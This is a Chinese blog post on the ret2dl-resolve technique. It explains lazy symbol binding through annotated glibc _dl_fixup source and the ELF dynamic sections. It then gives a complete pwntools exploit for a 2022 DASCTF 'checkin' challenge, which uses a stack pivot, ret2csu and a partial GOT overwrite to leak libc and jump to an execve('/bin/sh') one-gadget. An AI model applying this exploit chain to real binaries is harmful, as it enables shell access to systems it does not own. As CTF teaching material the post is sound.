bpcat

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

ret2dl-resolve

进阶高级ROP喽

前置

编译一个hw程序

#include <stdio.h>

int main(int argc, char** argv){
	printf("Hello world!!!\n");
}

经过ida反编译

image

此时在ida里面看到的函数是puts函数,但是在编译代码的时候用到的是printf函数。这是因为编译器在编译该函数的时候,为了实现最简而进行的自身程序优化。

接下来就动调看一下在第一次调用puts函数时候的样子

image

在这里看到,程序并没有直接跳转到puts函数的真实地址而是从plt表中跳转到了0x804c00c中存储的地址,通过ida中发现0x804c00c这个地址是puts函数的got表地址

image

跳转之后push 0然后在后面push了一个push dword ptr [GLOBAL_OFFSET_TABLE+4] <0x804c004>然后就跳到了_dl_runtime_resolve函数

image

发现0x804c004地址内存储了一个libc上地址,还不知道这个地址是什么,明显这是一个link_map的地址

image

在里面也是发现了elf的程序地址发现这个0x804bf14是程序中.dynamic的指针

image

然后观察程序

image

发现调用_dl_runtime_resolve函数最终要的功能还是在_dl_fixup函数

分析一下此函数源码:

#ifdef DL_RO_DYN_SECTION
# define D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr)
#else
# define D_PTR(map, i) (map)->i->d_un.d_ptr
#endif
 
#define ELF32_R_TYPE(val)   ((val) & 0xff)
#define ELF32_R_SYM(val)    ((val) >> 8)
#define ELF32_ST_VISIBILITY(o)  ((o) & 0x03)
 
const ElfW(Sym) *const symtab
    = (const void *) D_PTR (l, l_info[DT_SYMTAB]); 
    //通过link_map找到DT_SYMTAB地址,进而得到.dynsym的指针,记作symtab   
 
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    //通过link_map找到DT_STRTAB地址,进而得到.dynstr的指针,记作strtab
 
const PLTREL *const reloc
  = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    //reloc_offset就是reloc_arg
    //将.rel.plt地址与reloc_offset相加,得到函数所对应的Elf32_Rel指针,记作reloc 
 
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];   
    //将(reloc->r_info)>>8作为.dynsym下标,得到函数所对应的Elf32_Sym指针,记作sym
 
const ElfW(Sym) *refsym = sym;
 
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); 
    //l->l_addr 加载共享对象的基本地址
    //l->l_addr + reloc->r_offset即为需要修改的got表地址。
 
lookup_t result;
DL_FIXUP_VALUE_TYPE value;
 
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    //检查r_info最低为是不是R_386_JMP_SLOT=7
 
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //判断(sym->st_other)&0x03是否为0
{                                      
  const struct r_found_version *version = NULL;
 
  if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) 
  {
    const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx];
    if (version->hash == 0)
      version = NULL;
  }
 
  int flags = DL_LOOKUP_ADD_DEPENDENCY;
  if (!RTLD_SINGLE_THREAD_P)
  {
    THREAD_GSCOPE_SET_FLAG ();
    flags |= DL_LOOKUP_GSCOPE_LOCK;
  }
 
  #ifdef RTLD_ENABLE_FOREIGN_CALL
        RTLD_ENABLE_FOREIGN_CALL;
  #endif
 
  //通过strtab + sym->st_name找到函数字符串,result为libc基地址
  result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
        version, ELF_RTYPE_CLASS_PLT, flags, NULL);
 
      if (!RTLD_SINGLE_THREAD_P)
  THREAD_GSCOPE_RESET_FLAG ();
 
  #ifdef RTLD_FINALIZE_FOREIGN_CALL
        RTLD_FINALIZE_FOREIGN_CALL;
  #endif
 
  //libc基地址+解析函数的偏移地址,即函数的真实地址
  value = DL_FIXUP_MAKE_VALUE (result,sym ? (LOOKUP_VALUE_ADDRESS (result)+ sym->st_value) : 0);
}
else
{
  value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
  result = l;
}
 
value = elf_machine_plt_value (l, reloc, value);
 
if (sym != NULL
    && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
  value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
 
if (__glibc_unlikely (GLRO(dl_bind_not)))
  return value;
 
  //将got表中的数据修改为函数的真实地址
  //value为函数真实地址,rel_addr为需要修改的got表地址。
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

通过阅读_dl_fixup源码可以总结出一般的函数重定向流程可简略如下:
1.通过struct link_map *l获得.dynsym、.dynstr、.rel.plt地址

2.通过reloc_arg+.rel.plt地址取得函数对应的Elf32_Rel指针,记作reloc

3.通过reloc->r_info和.dynsym地址取得函数对应的Elf32_Sym指针,记作sym

4.检查r_info最低位是否为7

5.检查(sym->st_other)&0x03是否为0

6.通过strtab+sym->st_name获得函数对应的字符串,进行查找,找到后赋值给*rel_addr,最后调用这个函数

这样说来可能有点抽象,那就先来介绍一下几个必要的节段、

.dynamic

这个是上面提到过的一个段

image

这个section的用处就是他包含了很多动态链接所需的关键信息,我们现在只关心DT_STRTAB, DT_SYMTAB, DT_JMPREL这三项,这三个东西分别包含了指向.dynstr, .dynsym, .rel.plt这3个section的指针。

.dynstr

image

这里面存了调用函数的符号,第一个地方为0,这就证明这个地方是base,使用这里面的符号时,需要我们用偏移来使用,比如如果想要调用puts这个符号就需要先根据base地址0x8048298然后加上puts相对其的偏移0x1a。

.dynsym

image

这个东西,是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。这里只关心函数符号,比方说上面的puts。结构体定义如下

typedef struct
{
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; //对于导入函数符号而言,它是0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

.rel.plt

image

这里是重定位表,也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:

typedef struct
{
  Elf32_Addr    r_offset; //指向GOT表的指针
  Elf32_Word    r_info;
  //一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
  //1和3是这个导入函数的符号在.dynsym中的下标,
  //如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;

ret2dl-resolve主要是由有三种利用方法

1、如果32位保护NO RELRO,这样的话我们可以直接修改.dynamic中的.dynstr到一个我们可以控制的地址,同时在相应的地方伪造一个.dynstr,然后调用原函数plt中的第二个置调用dl函数。

2、如果32位保护Partial RELRO,那这样的话就是.dynamic只可读不可写,这样的话就不能通过修改基址去利用。思路就来到可以改变结构体中的偏移,只要是offset足够大,就可以控制符号。

回过头去看上面第二步是.rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel_dl_runtime_resolve并没有检查.rel.plt + 第二个参数后是否造成越界访问,所以我们能给一个很大的.rel.plt的offset(64位的话就是下标),然后使得加上去之后的地址指向我们所能操纵的一块内存空间,比方说.bss

再看到第三步:rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym。所以在我们所伪造的Elf32_Rel,需要放一个r_info字段,大概长这样就行0xXXXXXX07,其中XXXXXX是相对.dynsym表的下标,注意不是偏移,所以是偏移除以Elf32_Sym的大小,即除以0x10(32位下)。然后这里同样也没有进行越界访问的检查,所以可以用类似的方法,伪造出这个Elf32_Sym。至于为什么是07,因为这是一个导入函数,而导入函数一般都是07,所以写成07就好。

第四步:.dynstr + sym->st_name得出符号名字符串指针

3、然后这个就是伪造link_map了,这个贼麻烦就不做这个了

主要想学的

到这里才到了真正要说的,有位大佬说过:“众所周知,ret2dl从来不用dl打。”

这里用一个题来了解ret2dl如何乱搞

2022DASCTF X SU 三月春季挑战赛-checkin

先放出exp:

from pwn import *
p = process("checkin")
#p = remote("node4.buuoj.cn",27583)
#libc = ELF("./libc.so.6")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = "debug"
context.arch = "amd64"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def debug():
	gdb.attach(p)
	pause()
print(hex(libc.sym['puts']))
print(hex(libc.sym['setvbuf']))
payload = b"a"*0xa0 + p64(0x4040c0+0xa0) + p64(0x4011BF)
p.send(payload)
pl = b"a"*0x8 + p64(0x40124A) + p64(0) + p64(1) + p64(0x0404040) + p64(0) + p64(0) + p64(0x404020) + p64(0x401230) + p64(0)*2 + p64(0x404140) + p64(0)+ p64(0)+ p64(0)+ p64(0) + p64(0x4011BF)
pl = pl.ljust(0xa0,b'a')
pl += p64(0x404020+0xa0) + p64(0x4011bf)
#debug()
p.send(pl)
sleep(0.1)
p.send(b"\x20\x84")
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1ed6a0
leak('libc_base',libc_base)
og = libc_base+0xe3afe
pl = b'a'*0xa0 + p64(og)*2
debug()
p.send(pl)

p.interactive()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

image

这个题目的代码只有这么多,好像也没啥能用的,不能泄露libc地址这时候只能看一看汇编代码

image

这个read函数传参的索引是利用rbp控制的,这样的话还可以进行一次任意程序地址上的read写,因为在前面溢出的时候可以覆盖到rbp。

image

payload = b"a"*0xa0 + p64(0x4040c0+0xa0) + p64(0x4011BF)

这样别可以返回read向0x4040c0地址写入内容

在这就需要思考究竟要写入什么才可以进行下面的操作,接下来再往下执行,发现会有一个leave ret。这样的话就可以进行栈迁移到0x4040c0

image

那么向0x4040c0地址写入的东西就是此后要执行的东西

payload = flat([
    0x404140,
    0x40124A,  # pop 6
    0,1,
    0x404040, # stdout
    0,0,
    0x404020,#setvbuf@got
    0x401230,
    0,0,
    0x404140, #rbp
    0,0,0,0,
    0x4011BF
    ])

大体分析,我们采用的方式是利用这个read向bss段上写入csu的利用方法调用setvbuf,配合前一次的read将setvbuf的got表地址修改成puts的函数地址,需要16分之一爆破一位,然后调用setvbuf也就是调用了puts进行leak地址。之后返回到read再次利用这个read返回地址返回到og上进行提权!

posted on 2022-11-10 22:38  大能猫_多能  阅读(253)  评论(0编辑  收藏  举报